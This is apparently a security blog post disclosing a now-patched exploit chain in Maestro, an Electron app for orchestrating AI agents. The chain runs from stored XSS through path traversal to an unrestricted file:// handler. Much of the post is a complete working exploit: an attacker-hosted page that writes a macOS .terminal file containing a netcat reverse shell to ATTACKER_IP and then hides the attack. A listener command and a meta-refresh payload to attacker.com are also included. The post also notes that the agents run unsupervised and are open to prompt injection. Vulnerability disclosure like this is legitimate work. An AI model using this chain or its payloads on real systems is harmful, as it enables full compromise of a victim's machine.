Maestro

Maestro is a self-described LLM-slop yeet cannon marketed at those inclined to one-shot adderall fueled Bad Ideas from the comfort of a Ste Catherine tranny titty bar at 3 AM on a Wednesday night.

Maestro answers the question “what happens if I gave my post-exploitation agents unsupervised access to my work laptop?” and that answer is “it tries using facetime:// to call emergency services, because fuck you”.

update: this is issue is now patched in Maestro release 0.15.0-RC

Stored XSS to Reverse Shell

A critical vulnerability chain in the Maestro Electron application allows an attacker to achieve Remote Code Execution (RCE) by combining three separate vulnerabilities. Starting from a stored XSS injection point, an attacker can write arbitrary files to the filesystem and then execute them, resulting in complete system compromise.

But wait, couldn’t you do all this with a single prompt injection anyway? Well yeah, you could, because Maestro runs agents in fucking YOLO mode but this is way sexier.

Vulnerability Chain Overview

┌────────────────────────────────────────────────────────────────────────────┐
│                         ATTACK CHAIN DIAGRAM                               │
├────────────────────────────────────────────────────────────────────────────┤
│                                                                            │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐    ┌───────────┐ │
│  │   VULN-0001  │    │   VULN-0002  │    │   VULN-0003  │    │    RCE    │ │
│  │  Stored XSS  │───▶│Path Traversal│───▶│Protocol Hdlr │───▶│  Reverse  │ │
│  │              │    │              │    │              │    │   Shell   │ │
│  └──────────────┘    └──────────────┘    └──────────────┘    └───────────┘ │
│        │                    │                   │                   │      │
│        ▼                    ▼                   ▼                   ▼      │
│   Meta refresh         Write .terminal     Open file://        bash -i     │
│   to attacker page     to ~/Downloads/     URL scheme          connects    │
│                                                                            │
└────────────────────────────────────────────────────────────────────────────┘
  1. Stored XSS in HistoryDetailModal grants initial access via JavaScript execution.
  2. Path traversal via sessionId allows arbitrary file write.
  3. Arbitrary Protocol Handler executes the written file via file:// handler.

Detailed Vulnerability Analysis

Vulnerability 1: Stored XSS

File: src/renderer/components/HistoryDetailModal.tsx

The HistoryDetailModal renders AI response history using MarkdownRenderer with allowRawHtml=true and no DOMPurify sanitization. This allows injection of arbitrary HTML including <meta http-equiv="refresh"> tags.

<MarkdownRenderer
  content={selectedEntry.fullResponse || selectedEntry.summary}
  allowRawHtml={true}  // VULNERABLE
  className="text-sm leading-relaxed"
/>

Exploitation: Inject into history JSON file:

<meta http-equiv="refresh" content="0;url=http://attacker.com/exploit.html">

When user views the history entry, the entire Electron app redirects to attacker’s page where arbitrary JavaScript executes.

Vulnerability 2: Path Traversal

File: src/main/ipc/handlers/attachments.ts

The attachments:save IPC handler sanitizes filename with path.basename() but fails to sanitize sessionId, allowing path traversal:

ipcMain.handle('attachments:save', async (_event, sessionId: string, base64Data: string, filename: string) => {
    const userDataPath = app.getPath('userData');
    const attachmentsDir = path.join(userDataPath, 'attachments', sessionId);  // sessionId NOT sanitized
    
    // ... filename IS sanitized with path.basename()
    finalFilename = path.basename(finalFilename);
    const filePath = path.join(attachmentsDir, finalFilename);
});

Exploitation:

await window.maestro.attachments.save(
    '../../../../../../../Users/victim/Downloads',  // Path traversal in sessionId
    base64Payload,
    'malicious.terminal'
);

This writes to /Users/victim/Downloads/malicious.terminal instead of the intended attachments directory.

Vulnerability 3: Arbitrary Protocol Handler (vuln-0004)

File: src/main/ipc/handlers/system.ts

The shell:openExternal IPC handler validates URL syntax but lacks a protocol whitelist, allowing dangerous schemes like file://:

ipcMain.handle('shell:openExternal', async (_event, url: string) => {
    try {
        new URL(url);  // Only validates URL is parseable
    } catch {
        throw new Error(`Invalid URL: ${url}`);
    }
    await shell.openExternal(url);  // Opens ANY valid URL including file://
});

Tested Protocols:

Protocol Status Security Impact
https: ✅ Allowed Safe (expected)
http: ✅ Allowed Safe (expected)
mailto: ✅ Allowed Safe (expected)
file: ❌ VULNERABLE Opens local files in default apps
ssh: ❌ VULNERABLE Initiates SSH connections
ftp: ❌ VULNERABLE Triggers FTP client
smb: ❌ VULNERABLE NTLM hash theft (Windows)
tel: ❌ VULNERABLE Initiates phone calls
facetime: ❌ VULNERABLE Initiates FaceTime calls

Exploitation:

await window.maestro.shell.openExternal('file:///Users/victim/Downloads/malicious.terminal');

Complete Exploitation

Prerequisites

  1. Attacker has a web server hosting the exploit page
  2. Attacker has a netcat listener for the reverse shell
  3. Victim has Maestro application installed

Step 1: Set Up Listener

nc -l 4444

Step 2: Create Exploit Page

exploit.html (hosted on attacker’s server):

<!DOCTYPE html>
<html>
<head>
    <title>Maestro - Agent Orchestration Command Center</title>
    <style>
        body {
            margin: 0;
            background: #1a1a2e;
            color: #666;
            font-family: system-ui;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .loader { text-align: center; }
        .spinner {
            width: 40px; height: 40px;
            border: 3px solid #333;
            border-top: 3px solid #7c3aed;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin: 0 auto 15px;
        }
        @keyframes spin { to { transform: rotate(360deg); } }
    </style>
</head>
<body>
<div class="loader">
    <div class="spinner"></div>
    <div>Loading session...</div>
</div>
<script>
(async function() {
    // .terminal payload with reverse shell
    const terminalPlist = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&amp;1 | nc ATTACKER_IP 4444 > /tmp/f</string>
<key>ProfileCurrentVersion</key>
<real>2.06</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>update</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>`;

    const base64Payload = btoa(terminalPlist);
    // Step 1: Write .terminal file via path traversal (vuln-0002)
    try {
        await window.maestro.attachments.save(
            '../../../../../../../Users/' + (await getUsername()) + '/Downloads',
            base64Payload,
            'MaestroUpdate.terminal'
        );
    } catch(e) {
        // Try common username locations
        const paths = [
            '../../../../../../../Users/Shared',
            '../../../../../../../tmp'
        ];
        for (const p of paths) {
            try {
                await window.maestro.attachments.save(p, base64Payload, 'MaestroUpdate.terminal');
                break;
            } catch(e2) {}
        }
    }
   // Step 2: Open .terminal file via file:// protocol (vuln-0004)
    await new Promise(r => setTimeout(r, 500));
    
    try {
        await window.maestro.shell.openExternal('file:///Users/' + (await getUsername()) + '/Downloads/MaestroUpdate.terminal');
    } catch(e) {
        // Fallback paths
        try {
            await window.maestro.shell.openExternal('file:///Users/Shared/MaestroUpdate.terminal');
        } catch(e2) {
            await window.maestro.shell.openExternal('file:///tmp/MaestroUpdate.terminal');
        }
    }
    
    // Redirect back to Maestro to hide attack
    setTimeout(() => {
        window.history.back();
    }, 2000);
})();

async function getUsername() {
    try {
        const home = await window.maestro.fs.homeDir();
        return home.split('/').pop();
    } catch(e) {
        return 'victim';  // Fallback
    }
}
</script>
</body>
</html>

Step 3: Inject XSS Payload into History

See the previous blog post.

Step 4: Trigger the Attack

  1. Victim opens Maestro
  2. Victim navigates to session with malicious history entry
  3. Victim clicks on the session history event in the History panel
  4. HistoryDetailModal renders the <meta refresh> tag
  5. Electron app redirects to attacker’s exploit page
  6. Exploit page:
  • Writes MaestroRevereShell.terminal to ~/Downloads via path traversal
  • Openis via file:// protocol handler
  1. Terminal.app launches and executes the reverse shell
  2. Attacker receives the shell connection
  3. Page redirects back to Maestro - attack is invisible